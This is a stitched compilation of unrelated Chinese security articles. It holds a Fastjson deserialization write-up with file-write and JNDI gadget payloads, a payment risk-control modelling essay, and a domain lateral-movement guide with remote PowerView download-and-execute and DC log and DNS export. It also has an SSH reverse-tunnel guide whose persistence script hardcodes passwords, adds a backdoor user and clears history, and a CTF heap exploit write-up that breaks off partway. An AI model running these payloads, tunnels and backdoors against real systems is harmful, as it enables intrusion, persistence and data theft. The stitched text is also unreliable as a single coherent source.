writeStreamHeader();
bout.setBlockDataMode(true);
if (extendedDebugInfo) {
debugInfoStack = new DebugTraceInfoStack();
} else {
debugInfoStack = null;
}
}
但是Fastjson优先获取的是ObjectOutputStream类的无参构造函数，因此只能找ObjectOutputStream的继承类来触发了。
只有有参构造函数的ObjectOutputStream继承类： **com.sleepycat.bind.serial.SerialOutput**
依赖：
<dependency>
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>5.0.73</version>
</dependency>
看到，SerialOutput类的构造函数中是调用了父类ObjectOutputStream的有参构造函数，这就满足了前面的条件了：
public SerialOutput(OutputStream out, ClassCatalog classCatalog)
throws IOException {
super(out);
this.classCatalog = classCatalog;
/* guarantee that we'll always use the same serialization format */
useProtocolVersion(ObjectStreamConstants.PROTOCOL_VERSION_2);
}
PoC如下，用到了Fastjson循环引用的技巧来调用：
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "D:/wamp64/www/hacked.txt",
"tempPath": "D:/wamp64/www/test.txt"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "cHduZWQ=",
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}
这里写入文件内容其实有限制，有的特殊字符并不能直接写入到目标文件中，比如写不进PHP代码等。
攻击利用：
### 补丁分析
看GitHub官方的diff，主要在ParserConfig.java中：<https://github.com/alibaba/fastjson/compare/1.2.68%E2%80%A61.2.69#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4>
对比看到expectClass的判断逻辑中，对类名进行了Hash处理再比较哈希黑名单，并且添加了三个类：
网上已经有了利用彩虹表碰撞的方式得到的新添加的三个类分别为：
版本 | 十进制Hash值 | 十六进制Hash值 | 类名
---|---|---|---
1.2.69 | 5183404141909004468L | 0x47ef269aadc650b4L | java.lang.Runnable
1.2.69 | 2980334044947851925L | 0x295c4605fd1eaa95L | java.lang.Readable
1.2.69 | -1368967840069965882L | 0xed007300a7b227c6L | java.lang.AutoCloseable
这就简单粗暴地防住了这几个类导致的绕过问题了。
### SafeMode
官方参考：<https://github.com/alibaba/fastjson/wiki/fastjson_safemode>
在1.2.68之后的版本，在1.2.68版本中，fastjson增加了safeMode的支持。safeMode打开后，完全禁用autoType。所有的安全修复版本sec10也支持SafeMode配置。
代码中设置开启SafeMode如下：
ParserConfig.getGlobalInstance().setSafeMode(true);
开启之后，就完全禁用AutoType即`[@type](https://github.com/type
"@type")`了，这样就能防御住Fastjson反序列化漏洞了。
具体的处理逻辑，是放在checkAutoType()函数中的前面，获取是否设置了SafeMode，如果是则直接抛出异常终止运行：
## 0x05 其他一些绕过黑名单的Gadget
这里补充下其他一些Gadget，可自行尝试。注意，均需要开启AutoType，且会被JNDI注入利用所受的JDK版本限制。
### 1.2.59
com.zaxxer.hikari.HikariConfig类PoC：
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
或
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
### 1.2.61
org.apache.commons.proxy.provider.remoting.SessionBeanProvider类PoC：
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"}
### 1.2.62
org.apache.cocoon.components.slide.impl.JMSContentInterceptor类PoC：
{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}
### 1.2.68
org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig类PoC：
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
或
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
com.caucho.config.types.ResourceRef类PoC：
{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}
### 未知版本
org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory类PoC：
{"@type":"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}
org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory类PoC：
{"@type":"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}
## 0x06 参考
[某json <= 1.2.68 远程代码执行漏洞分析](https://xz.aliyun.com/t/7878)
[fastjson 1.2.68 autotype bypass
反序列化漏洞（完整版）](https://b1ue.cn/archives/364.html)
[Fastjson1.2.6 6 远程代码执行漏洞分析复现含 4 个 Gadget 利用 Poc
构造](https://paper.seebug.org/1155/)
<https://github.com/threedr3am/learnjavabug> | 社区文章 |
接上一篇[支付风控数据仓库建设](http://blog.lixf.cn/essay/2016/12/18/risk-2-database/)。支付风控涉及到多方面的内容，包括反洗钱、反欺诈、客户风险等级分类管理等。
其中最核心的功能在于对实时交易进行风险评估，或者说是欺诈检测。如果这个交易的风险太高，则会执行拦截。由于反欺诈检测是在交易时实时进行的，在要求不能误拦截的同时，还有用户体验上的要求，即不能占用太多时间，一般要求风控操作必须控制在100ms以内，对于交易量大的业务，10ms甚至更低的性能要求都是必须的。
这就需要对风控模型进行合理的设计。一般来说，要提升风控的拦截效率，就需要考虑更多的维度，但这也会带来计算性能的下降。在效率和性能之间需要进行平衡。
本文重在介绍建立风控模型的方法，每个公司应该根据自己的实际业务情况和开发能力来选择合适的模型。这里列出来的模型仅为了说明问题，提供参考。
## 一、风险等级
做风控拦截，首先要回答的问题是风险等级怎么划分？ 目前主流的风险等级划分有三种方式， 三等级、四等级、五等级。
* 三等级的风险分为 低风险、中风险和高风险。 大部分交易是低风险的，不需要拦截直接放行。 中风险的交易是需要进行增强验证，确认是本人操作后放行。 高风险的交易则直接拦截。
* 四风险等级，会增加一个中高风险等级。此类交易在用户完成增强验证后，还需要管理人员人工核实，核实没问题后，交易才能放行。
* 五风险等级，会增加一个中低风险等级。此类交易是先放行，但是管理人员需要进行事后核实。 如果核实有问题，通过人工方式执行退款，或者提升该用户的风险等级。
[
大部分支付系统是使用三等级的风险。
## 二、基于规则的风控
规则是最常用的，也是相对来说比较容易上手的风控模型。从现实情况中总结出一些经验，结合名单数据，制定风控规则，简单，有效。 常见的规则有：
**1\. 名单规则**
使用白名单或者黑名单来设置规则。具体名单如上文所述，包括用户ID、IP地址、设备ID、地区、公检法协查等。
比如：
1. 用户ID是在风控黑名单中。
2. 用户身份证号在反洗钱黑名单中。
3. 用户身份证号在公检法协查名单中。
4. 用户所使用的手机号在羊毛号名单列表中。
5. 转账用户所在地区是联合国反洗钱风险警示地区。
**2\. 操作规则**
对支付、提现、充值的频率按照用户账号、IP、设备等进行限制，一旦超出阈值，则提升风控等级。
1. 频率需综合考虑（五）分钟、（一）小时、（一）天、（一）周等维度的数据。由于一般计算频率是按照自然时间段来进行的，所以如果用户的操作是跨时间段的，则会出现频率限制失效的情况。 当然，比较复杂的可以用滑窗来做。
2. 对不同的风险等级设置不同的阈值。比如：
3. 用户提现频次5分钟不能超过2次， 一小时不能超过5次，一天不能超过10次。
4. 用户提现额度一天不能超过1万。
5. 用户支付频次5分钟不能超过2次，一小时不能超过10次，一天不能超过100次。
**3\. 业务规则**
和特定各业务相关的一些规则，比如：
1. 同一个人绑定银行卡张数超过10张。
2. 同一张银行卡被超过5个人绑定。
3. 同一个手机号被5个人绑定。
4. 一个周内手机号变更超过4次。
5. 同一个对私银行卡接受转账次数一分钟超过5次。
**4\. 行为异常**
用户行为和以前的表现不一致，比如：
1. 用户支付地点与常用登录地点不一致
2. 用户支付使用个IP与常用IP地址不一致
3. 用户在短时间内，上一次支付的地址和本次支付的地址距离非常远。 比如2分钟前在中国支付的，2分钟后跑到美国去支付了。
**5\. 风控拦截历史规则**
用户在某个业务上的消费行为被风控网关多次拦截。
规则引擎优点：
1. 性能高： 对订单按照规则进行匹配，输出结果。一般不会涉及到复杂的计算。
2. 易于理解和分析： 交易被拦截到底是触犯了那条规则，很容易输出。
3. 开发相对简单。
规则引擎存在的问题：
1. 一刀切，容易被薅羊毛的人嗅探到。比如规则规定超过5000元就进行拦截，那羊毛号会把订单拆分成4999元来做。 一天限制10笔，那就薅到9笔就停手了。
2. 规则冲突问题。当一笔交易命中IP白名单和额度黑名单的时候应该如何处理？
规则引擎看起来简单，但也是最实用的一类模型。
它是其它风控模型的基础。实践中，首先使用已知的规则来发现存在问题的交易，人工识别交易的风险等级后，把这些交易作为其它有监督学习的训练数据集。
## 三、决策树模型
风险评估从本质上来说是一个数据分类问题。
和传统的金融行业风险评估不一样的地方，在于数据规模大、业务变化快、实时要求高。一旦有漏洞被发现，会对公司造成巨大损失。 而机器学习是解决这些问题的利器。
互联网金融风控离不开机器学习，特别是支付风控。 在各种支付风控模型中，决策树模式是相对比较简单易用的模型。
如下的决策树模型，我们根据已有的数据，分析数据特征，构建出一颗决策树。当有一笔交易发生时，我们使用决策树来判断这笔交易是否是高风险交易。
[这种模型的优点是非常容易理解，检测速度快。
因而也是现有机构中常用的模型之一。
风控模型存在的主要问题是其产生的结果比较粗略。同样的两个交易被判定为高风险，究竟哪种交易风险更高，决策树模型无法给出答案。
## 四、评分模型
比决策树模型更进一步，现在也有不少公司在使用评分（卡）模型。 银行在处理信用风险评级、反洗钱风险等级时，往往也是使用这种方法。
每个公司的模型都不一样，一个参考模型如下：[
>
> 该模型为参考《金融机构洗钱和恐怖融资风险评估及客户分类管理指引》编制，仅具参考意义。虽然银行间的评分模型有很好的参考价值，但互联网公司由于业务和数据的不同，评分模型参考价值不大。
每个公司需根据自己的业务情况来制定评分模型，之后为各个指标指定权重比例。 权重评分结果为0~100分的区间，之后按照区间划分，指定风险等级。比如：
[
当然，评分区间也需要根据企业的实际情况来制定。 评分模型的优势在于：
1. 性能比较高，针对交易进行指标计算，按照区间来确定风险。
2. 相对于规则，如果指标设置合理，其覆盖度高， 不容易被嗅探到漏洞。
3. 理解和分析也比较容易。 如果交易被拦截了，可以根据其各项打分评估其被拦截的原因。
存在的问题：
1. 模型真的很难建立。指标的选择是一个挑战。
2. 各个参数的调优是一个长期的过程。
我们知道从一条交易记录中可以挖掘的关联数据有上百个，衍生数据就更多了。比如从支付地址，可以聚类出常用地址，衍生出当前地址和常用地址、上一次支付地址之间的距离，而这些指标在构建模型时都可能使用到。
所以第一个问题是，如何从这些指标中建立一个合适的模型？这就涉及到机器学习的问题了。
模型不能凭空建立，我们可以通过规则来对现有数据进行筛选和标注，确定这些记录集的风险等级。 这些数据作为样本来训练模型。可用的算法包括Apriori、FP-growth等。算法实现请参考相关文档。
在确认相关参数后，模型在使用过程中还需要不断对相关参数进行调整。这是一个拟合或者回归的算法，Logistic算法、CART算法，可以用来对参数做调优。
总之，模型的建立是一个不断学习、优化的过程。 而每一个模型的发布，还需要进行试运行，AB测试和上线。 这个过程，将在下一篇的风控架构中介绍。
## 五、模型评估
风控本质上是对交易记录的一个分类，所以对风控模型的评估，除了性能外，还需要评估“查全率”和“查准率”。 如下图所示：
[
以评估高风险人群的效果为例，
* Precision, 准确率，也叫查准率，指模型发现的真实的高风险人数占模型发现的所有高风险人数的比例。
* Recall，召回率，也叫查全率，指模型发现的真实的高风险人数占全部真实的高风险人数的比例。
理想情况下，我们希望这两个指标都要高。实际上，往往是互斥的，准确率高、召回率就低，召回率低、准确率高。如果两者都低，那就是模型不靠谱了。
对于风控来说，需要在保证准确率的情况下，尽量提高召回率。 那怎么发现实际的高风险人数呢？ 这就需要借助规则模型，先过滤一遍，再从中人工遴选。
从实际应用情况来看，目前国内大部分团队使用Logistic回归+评分模型来做风控，少数人使用决策树。国外的PayPal是支付平台风控的标杆，国内前海征信、蚂蚁金服等会使用到更高级的神经网络和机器学习，但实际效果未见到实证材料。
1. [支付风控场景分析](http://blog.lixf.cn/essay/2016/12/08/risk-1-scenarios/)；
2. [支付风控数据仓库建设](http://blog.lixf.cn/essay/2016/12/18/risk-2-database/)；
3. 支付风控模型和流程分析(本文)；
4. 支付风控系统架构
感谢您对本文的关注，如需要及时收到凤凰牌老熊的最新作品，或者有相关问题探讨，请扫码关注“凤凰牌老熊”的微信公众号，在公众号里留言或者回复，可以尽快处理，谢谢。 | 社区文章 |
### Author:小城
**域用户默认可以登录域内所有计算机，为什么默认情况下所有的域用户可以登录所有的域成员机器呢？因为域管理员在新增用户时
该域用户默认就会存在域用户组中（domain users），而默认加入域的域成员机器其本地的user组中包含了全局的domain users
组成员，而域成员机器本地组策略中 允许在本地登陆 属性中包含了本地users组。 所以域管理员为了安全通常会限制域用户只能登陆指定计算机。**
第一种方法是设置域用户只能登陆到指定计算机;可通过在使用在域管理员账号在域控制器进行设置。如下图
在渗透中可以通过查询的域用户的userWorkstations属性查看 其指定登陆的机器 可以用adfind用来查询
adfind -h 192.168.221.130 -sc u:test
adfind -h 192.168.221.130 -sc u:test | findstr userWorkstations //非域权限执行需要指定账户密码
当然使用powerview可以实现：
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1');Get-NetUser -Domain test.xcsec.com > C\Programdata\test.txt" //domain参数请加完整的域名
`userworkstations : 08SER 可以看到userworkstations指定的机器`
第二种设置方案通过修改组策略实现，设置方法比较灵活
在域成员机器中打开Secpol.msc，依次展开计算机配置-策略-windows设置-安全设置-本地策略-用户权限分配，通过修改属性 "允许本地登陆"
中包含的组实现,设置方法比较灵活;
可以在该属性中只允许本地管理员组用户登陆，然后把指定域用户加入到的域成员机器本地管理员组。或者通过直接在该"允许本地登陆"中添加想要登陆的组和域成员名即可
//打开secpol.msc 需要本地管理员权限或者域管理员权限
如上即可实现该域成员机器指定仅域用户test\12121登陆
若管理员如上设置我们可通过查询计算机的本地管理员来获取域用户和计算机的关系。使用powerview可以实现：
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1');Invoke-EnumerateLocalAdmin > C:\Programdata\test.txt"
当然在没有拿到域管权限前也可用 `PVEFindADUser.exe` `psloggedon.exe` `netsess.exe`
`hunter.exe`等来进行活跃用户和域成员机器的关系对应的,这些工具基本都使用了`NetSessionEnum API`
在拿到了域管的情况下，可以通过导出dc上面dns解析记录 和dc 系统安全日志以及域活动目录ntds.dit ip地址 对应 用户名 对应
ntlmhash,然后配合hash传递做到精准打击目标机器;
当然你也可以直接给用户设置登陆脚本,达到指定用户登陆时执行命令
关于dns 解析的记录导出，通常dc默认都是dns服务器，所以自带dnscmd这个工具
例子如下
dnscmd 127.0.0.1 /enumrecords test.xcsec.com test.xcsec.com. /type A //利用dnscmd导出dns正向解析记录
dnscmd 127.0.0.1 /zoneprint test.xcsec.com >1.txt //
具体用法：<https://technet.microsoft.com/zh-cn/library/cc772069>
如果该dc也是dhcp服务器，可以使用dhcpcmd进行查看，也可以使用卷影复制c:\windows\system32\dhcp\dhcp.mdb
进行离线查看dhcp配置
关于dc日志的导出,我们可以使用wevtutil.exe psloglist.exe 或者powershell 的Get-WinEvent模块进行日志导出;2003的域控可使用eventquery.vbs导出
已windows自带的wevtutil为例，导出日志
wevtutil qe security /f:text /q:*[System[(EventID=4624)]] #查询登录日志语法wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4627]" #查询所有登录、注销相关的日志语法
wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r:dc1 /u:administrator /p:password #远程查询时在后面加入/r:computer /u:user /p:password 比如查询dc1上的登录注销日志
wevtutil 支持很多过滤语法，若有需要请查看官方说明
导出域控登录日志到域控上：
wevtutil epl Security C:\ProgramData\dc.evtx /q:"*[EventData[Data[@Name='LogonType']='3'] and System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 2592000000]]]" /r:域控IP /u:域管 /p:域管密码
本地使用LogParser日志分析工具整理导出的日志，然后去除重复数据、无效数据（以`$`结束的用户名）：
LogParser.exe -i:EVT -o txt "SELECT TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as USERNAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) as SOURCE_IP FROM C:\ProgramData\log.evtx" > C:\ProgramData\log.txt
**tips:**
很多朋友说导出来的日志查询不到一些用户和机器的对应的关系;请将所有域控的日志都导出来,因为域成员机本身配置域内dns并不是都一样的，并且在进行登陆验证所请求的域控也是通过dclocater
算法进行查找。 | 社区文章 |
# 【技术分享】SSH如何反向代理稳定穿透内网
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[RootClay](http://bobao.360.cn/member/contribute?uid=573700421)
预估稿费：400RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
最近在测试一些站点，总是需要进入到对方内网，而使用的代理工具多为不稳定工具，就连ssh也会断掉，这篇文章分享一下SSH的反向代理，最下面准备啦一个简单的脚本。
**0x01 引言**
****
早期我们可能会采用HTTP
Proxy代理，在浏览器上设置下代理服务器的IP、端口、认证账户和密码。但有些软件的网络通信数据并不是HTTP协议，就需要寻找其它方法。
SOCKS代理是个不错的解决方案，不管应用层是什么协议，只要是传输层是TCP协议就可以代理。SOCKS代理中最新的协议是SOCKS5。相对SOCKS4作了大幅度的增强。
首先，它增加了对UDP协议的支持；其次，可支持多种用户身份验证方式和通信加密方式；最后，修改了SOCKS服务器进行域名解析的方法，使其更加优雅。
**0x02 Socks建立**
****
关于内网的代理工具前人已经总结很多了比如这篇文章内网漫游之SOCKS代理大结局，那我就不多说这些工具了。
**稳定SOCKS代理SSH**
SSH当之无愧是目前最稳定的代理方式之一，大家用它比较多，但是我们常用的还是他的最简单的转发与正向代理的建立，这里把SSH反向代理分享与大家，不用再为渗透中不稳定的网络而烦恼。
**转发**
我们常用的是下面的命令，但只能够比较麻烦的访问到已经转发端口上
1. ssh -CfNg -R 2222:127.0.0.1:22 VPS-user@VPS -p 53 //内网
2. ssh -CfNg -L 8080:127.0.0.1:2222 VPS-user@VPS //VPS 本地访问VPS:8080就是内网的22端口
-C：该参数将使ssh压缩所有通过Secure Shell客户端发送的数据，包括输入、输出、错误消息及转发数据。它使用gzip算法，压缩级别可通过设置配制文件中的参数Compressicn Level来指定。这对于缓慢的传输线路特别有用的。但对于传输速度已经很快的网络则显得没有必要。同样，你可以利用配制文件针对每台主机配置这个参数。
-f：该参数将ssh连接送入后台执行。这在验证已经完成且TCP/IP转发已经建立的情况下会生效。这对在远程主机上启动X程序显得十分重要。其后用户将被提示要求输入口令(提供的认证代理不运行)，然后将连接送往后台。
-g：该参数允许远程主机通过端口转发与主机端口相连，通常情况下仅允许本地主机这样做。
-N：不执行远程指令。
-R：远程转发
-L：本地转发
**socks正向代理**
下面的方式可以用与你与DMZ区的机器通信，但是如果不能直接访问的内网机器便行不通了。
ssh -qTfnN -D port remotehost
在本地终端中运行
ssh -qTfnN -D 6080 user@theserver
然后在浏览器或者软件中设置好代理参数
socks5: 127.0.0.1:6080 后便可以使用.
-q：静默运行
其实已经很明显了，反向代理就是把上面提到的两个隧道连接在一起，怎么连接呢？
**socks反向代理**
那么重点来了，如何建立反向代理呢？其实就是把正向代理和转发结合起来即可：
这里为了方便描述，截了几个图，画得丑见笑了…：
第一步，还是先通过内网机器反向连接VPS:
ssh -p 22 -qngfNTR 6666:localhost:22 VPS-user@VPS
这样就把本地的22端口转发到了远程机器（VPS）的6666端口
查看图中Server机器的进程：
Server机器转发：
此时到vps上查看已经在6666端口开始监听了
第二步，你自己的PC机器直接使用语句:
ssh -p 6666 -qngfNTD 6767 内网用户@VPS
这样就可以直接穿透网络，进入到内网，本地机器直接使用代理127.0.0.1:6767便能够直接访问到内网当中
本地远程访问：
在Server上开启80端口服务
配置代理：
访问：
**进阶配置**
****
那么问题来了，用过SSH的代理的朋友应该知道，我们第一步使用的连接方式在VPS监听的6666端口应该是监听在localhost上的，那么在第一步之前就应该修改一些配置了：在VPS的ssh配置当中加入如下配置GatewayPorts
yes，这里是指远程转发过来的端口监听在0.0.0.0上。当然也可以你再在VPS本地转发一次即可。
这样就完了吗？当然没有，经过测试，我们是无法让这个代理保持一直在线的，SSH在一定时间没有任何的操作后就会自动的断开，那么我们同样再次修改配置文件：
找到 ClientAliveInterval 0和ClientAliveCountMax 3并将注释符号（"#"）去掉,
将ClientAliveInterval对应的0改成60,ClientAliveInterval指定了服务器端向客户端请求消息的时间间隔,
默认是0,不发送. ClientAliveInterval 60表示每分钟发送一次, 然后客户端响应, 这样就保持长连接了.
ClientAliveCountMax, 使用默认值3即可.ClientAliveCountMax表示服务器发出请求后客户端没有响应的次数达到一定值,
就自动断开.
这样的配置就能让一个SSH的配置保持长连接了，代理就能稳定的在线。那么这样是需要每次都输入密码而且每次输入一大堆命令很麻烦，这里写了一个简单的CentOS上使用脚本来开启代理。
#!/usr/bin/env bash
#author: rootclay
export HISTSIZE=0
#install
cd /etc/yum.repos.d/
wget http://download.opensuse.org/repositories/home:Strahlex/CentOS_CentOS-6/home:Strahlex.repo
yum install -y sshpass
yum install -y screen
mkdir /tmp/mongo && chown $(whoami):$(whoami) /tmp/mongo
sudo tee /tmp/mongo/daemon.sh <<-'EOF'
#!/usr/bin/env bash
while:
do
/usr/bin/sshpass -p 你的VPS密码 ssh -p 22 -qngfNTR 6770:localhost:22
VPS-user@VPS -o StrictHostKeyChecking=no
sleep 18000
ps -ef | grep qngfNTR | awk '{print $2}' | xargs kill -9
done
EOF
chmod +x /tmp/mongo/daemon.sh
echo "screen -dmS test /tmp/mongo/daemon.sh" >> /etc/rc.d/rc.local
screen -dmS socks /tmp/mongo/daemon.sh
useradd test;echo 'test:1234' | chpasswd
/usr/local/bin/sshpass -p "1234" ssh -p 6770 -qngfNTD 6770 test@VPS -o
StrictHostKeyChecking=no
本地执行执行这条命令即可，代理设置为127.0.0.1:6770即可进入内网
这样建立起来的socks网络是非常的稳定的，搭建了之后可以试一试开扫描器扫一扫，高线程都不会掉。。。而前面使用的比如EW之类的。。。一扫就挂=。=，这个开个高线程完全没问题。 | 社区文章 |
# 西湖论剑2021-TinyNote 题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在刚结束的西湖论剑线上赛中，有一道挺有意思的 Pwn 题——TinyNote，考察了许多关于高版本的 libc 堆知识，比赛的时候已经可以执行
shellcode，可惜最后没来得及找到 flag 文件2333333，这里给各位师傅分享一下我的解题思路。
## 一、题目分析
首先，我们来分析一下题目。
题目使用了沙箱，禁用了 `execve`：
IDA 静态分析，很容易就发现题目的 `delete` 函数存在 UAF 漏洞：
不过，题目除了使用沙箱以外，在 malloc 的时候还增加了一道防护措施：
也就是说，我们不能 malloc 到堆的第一页以外位置的 chunk ，否则就会检测不通过，直接 `exit`。
## 二、思路分析
首先，题目使用的是 malloc，而且申请的大小固定为 0x10，这就没有使用 `tcache stashing unlink
attack`的可能了。另外，题目限制了申请的 chunk 必须在堆内存的第一页，这样 `tcache`
相关的攻击手段也就失效了。但是，题目还开启了沙箱，也就意味着我们需要使用 `orw` 或 `mprotect` ，那就必须要执行
`setcontext`，而要执行 `setcontext` 就必须想办法劫持 `__free_hook`。这似乎与 **只能 malloc
在堆内存的第一页的 chunk** 相矛盾，除非我们能够从其他地方执行 malloc 并分配到 `__free_hook`，联想到 `add`函数检测失败的
`exit`，我们很快就会想到 [house of pig](https://www.anquanke.com/post/id/242640) 。
这里，先简述一下我的思路（这里显示不出标号，以句号结尾作为分段的标志）：
1. 使用 UAF 泄露出 heap 基址。
2. 使用 UAF 修改 tcache bin 的数量，然后得到一个 0x240 `unsorted chunk`(先不释放)。
3. 通过风水堆分布，得到一个 0x450 和 0x440 的 `unsorted chunk`。
4. 释放 `unsorted chunk`，泄露 `libc` 基址，并将那俩 `unsorted chunk` 转换成 `large chunk`，实现 [largebin attack](https://www.anquanke.com/post/id/189848)，改写 `_IO_list_all`。
5. 通过多次 UAF 来进行 `tcache chunk` 的任意写，将放入 `_IO_list_all` 的 `large chunk` 变成一个 `IO_FILE`。
6. 见缝插针地利用已有的 `tcache chunk`，插入相关 `gadget` 所需参数，为后续 `setcontext` 劫持 `rsp` 所需的参数做好准备。
7. 再次通过多次 UAF 将 ROP 链布置好，执行 read 写到 `glibc` 的 `bss` 段上并劫持 `rsp` 到 `bss` 段上。
8. 通过 UAF 将 `__free_hook` 放到合适的 `tcache bin` 中，为后续的 `house of pig` 做准备。
9. 触发 `exit` 退出主函数，进而执行到 `_IO_str_overflow`，劫持 `__free_hook` 并执行 ROP，最终成功将 `rsp` 劫持到 `bss` 段上。
10. 最后，ROP 执行 `mprotect` 将 `heap` 变成 RWX 并写入 shellcode，然后劫持程序执行流即可，然后获取 flag 文件名并读取 flag 即可。。
## 三、解题过程
#### 1、泄露 heap 基址
在 libc 2.32 版本之后，对 tcache
增加了一个异或保护机制，具体原理可以看这篇[文章](https://www.anquanke.com/post/id/236186)。简单来说，`tcache->fd`
的值现在是 `(&tcache->fd >> 12) ^ target`，这个 `target` 就是指向上一个 `chunk`（按照 tcache
后进先出的顺序来看的话）。
这种机制，虽然增加了传统的堆漏洞利用难度，但却使得 heap 泄露更加简单了，只需要一个 `chunk` 即可。
add(0)
delete(0)
show(0)
heap_addr = u64(rr(5).ljust(0x8, b'\x00')) << 12
log.success('heap_addr: 0x%x', heap_addr)
#### 2、得到 unsorted chunk
构造 unsorted chunk 其实并不难，我们只要将 `0x240` 的 `tcache number` 填满，并添加一个 `0x240` 的
`size` 即可。这里，有师傅可能会问：
1. 为什么要选择 `0x240` 的 `unsorted chunk` 而不是其他的呢？
2. 为什么不直接风水出一个 `0x410` 以上的 `chunk` 并释放掉呢？
先说第一个问题，我们来看一下内存分布，`unsorted chunk` 对应的位置是 `heap_addr + 0x50`:
可以看到，`unsorted chunk` 首部就在其对应的 `tcache number` 的位置，也就是我们只需要构造一次任意写即可完成修改
`number` 和构造首部的操作。此外，我们可以往下看，我们之后申请 chunk，并不会覆盖到 `0x20` 指向的 `tcachebin`
所在位置，从而就无需后续再通过任意写来调整。最重要的一点，我们之后的所有 UAF 利用需要使用到的 `chunk` 数量刚好可以被这个 `unsorted
chunk` 满足，确保了堆内存的足够利用。同时，这也可以回答 **第二个问题** 了，因为 **堆内存可能一不小心就不够用，需要额外的精力去维护堆分布**
。
add(0)
add(1)
delete(0)
show(0)
heap_addr = u64(rr(5).ljust(0x8, b'\x00')) << 12
log.success('heap_addr: 0x%x', heap_addr)
length = 0x240
start = heap_addr + 0x240
end = start + ((length) - 100)//2
delete(1)
poc = ((heap_addr+0x2c0) >> 12) ^(heap_addr+0x50) # 指向 unsorted chunk 首部
edit(1, p64(poc))
add(0)
add(1)
edit(1, p8(8)*8 + p64(0x241)) # 任意写修改数量并构造首部
delete(0) # 回收 chunk，节省利用已有的 chunk
add(0)
add(1)
delete(0)
delete(1)
poc = ((heap_addr+0x2e0)>>12) ^ (heap_addr+0x60) # 指向 unsorted chunk 首部
edit(1, p64(poc))
add(1)
add(0) # unsorted_chunk: heap+0x10 ---> 得到 unsorted chunk
log.success('unsorted_chunk: 0x%x', heap_addr+0x60)
delete(1) # 回收 chunk，节省利用已有的 chunk
这里，为了节省 chunk，就将其和泄露 heap 基址的步骤合到了一起。
#### 3、风水堆分布，获得两个 large chunk
这里，我们需要风水堆分布，分别构造出 `0x450` 和 `0x440` 的 large chunk，内存分布为：
1. 第一个 large chunk：`0x20 --> 0x450 --> 0x20 --> top chunk`
2. 第二个 large chunk：`0x20 --> 0x440 --> 0x30 --> top chunk`
add(1)
edit(1, mchunk_size(0x21))
add(1)
edit(1, mchunk_size(0x451))
for i in range(0x22):
add(1)
add(1)
add(2)
delete(1)
delete(2)
poc = ((heap_addr+0x780)>>12) ^ (heap_addr+0x310)
edit(2, p64(poc))
add(2)
add(1) # 得到一个 0x450 的 chunk，首部位于 heap_addr+0x300
log.success('large chunk No.1: 0x%x', heap_addr+0x300)
delete(2) # 回收刚刚利用的 chunk
add(2)
edit(2, mchunk_size(0x21))
add(2)
edit(2, mchunk_size(0x441))
add(2)
add(2)
for i in range(0x1f):
add(2)
add(2)
edit(2, mchunk_size(0x31))
add(2)
delete(0)
show(0)
libc.address = u64(rr(8)) - 0x1e0c00
log.success('libc_addr: 0x%x', libc.address)
add(0)
delete(0)
delete(2)
poc = ((heap_addr+0xc00)>>12)^((heap_addr+0x7b0))
edit(2, p64(poc))
add(0)
add(2) # 得到一个 0x440 的 chunk，首部位于 heap_addr+0x7a0
log.success('large chunk No.2: 0x%x', heap_addr+0x7a0)
delete(0) # 回收刚刚利用的 chunk
由于我们实现任意写，需要连续申请两个 `tcache chunk`，所以在构造第二个 `large chunk` 的时候，我们需要将 `unsorted
chunk` 释放掉，将存储的位置空闲出来，那么这个过程便可顺势将 `libc` 基址获取到。
#### 4、largebin attack
接下来，我们就需要实施 `largebin attack` 了。这里，可能有师傅会问：我们每次只能申请到 0x10 的 chunk，怎么让这两个
`large chunk` 进入到 `large bin` 呢？这里，主要利用到一个比较少见的方法。
很多师父学习 `largebin attack`
